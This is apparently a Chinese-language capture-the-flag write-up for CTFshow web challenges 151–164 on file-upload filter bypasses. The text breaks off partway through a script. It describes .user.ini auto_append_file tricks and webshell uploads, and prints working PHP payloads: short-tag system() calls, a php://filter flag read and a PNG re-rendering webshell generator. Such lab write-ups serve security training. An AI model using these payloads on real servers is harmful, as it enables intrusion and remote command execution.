web 151
看源码是js判断文件类型进行拦截,先上传一个图片,再抓包改成php文件后缀就可以了,当然内容也删掉,留下php代码
web 152
和上题一样的解法
web 153
和上面一样的解法直接改后缀就没用了
测试了一下,发现是黑名单的过滤
所以就上传.htaccess文件把png文件解析成php
但是很遗憾,用不了
引用一波羽大佬的wp:
本题考点为.user.ini,详细配置可以参考官方文档
如果你目录下有user.ini会先去识别里面的配置,但是只有 PHP_INI_PERDIR 和 PHP_INI_USER 模式可以
找到这两个auto_append_file
和auto_prepend_file
,作用:
一个相当于在每个php文件尾加上 include(“xxxx”)
一个相当于文件头加上 include(“xxx”)
其中xxx就是 auto_append_file的值。
现在回到这个题。为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
因为upload有index.php,所以这个php就会添加一个include(“1.png”),就会包含到木马
然后开蚁剑连到upload就可以了
web 154
传的时候改后缀和content-type不行了,会识别内容
用script也不行,估计是把php给ban了,所以就用php短标签,直接传system命令
先传.user.ini
再传一个system命令
<?=system("tac ../f*")?>
访问/upload就得到了flag
web 155、156
做法同上
155还可以传post[],166不行了
web 157
ban了分号;
只用一个system不加分号也可以
<?=system("cat ../flag*")
web 158
过滤了括号,用反引号直接指向命令
web 159
- php伪协议配合文件包含与.user.ini的利用
先传了一个.user.ini
auto_prepend_file=shell.png
再传图片上去,内容是
由于php被过滤,这里就用.
号来绕过,在利用php伪协议进行文件的读取
<?= include"ph"."p://filter/read=convert.base64-encode/resource=../flag.ph"."p"?>
访问/upload/index.php,成功得到flag
web 160
在上一题的基础上过滤了空格,把空格换成tab就可以绕过(其实也用不上空格)
web 161-163
不知道为啥什么东西都传不上了,正常图片也传不上,就先放着了
web 164
- 考察图片马二次渲染
这里是png的二次渲染
脚本:
<?php
/*<?$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p);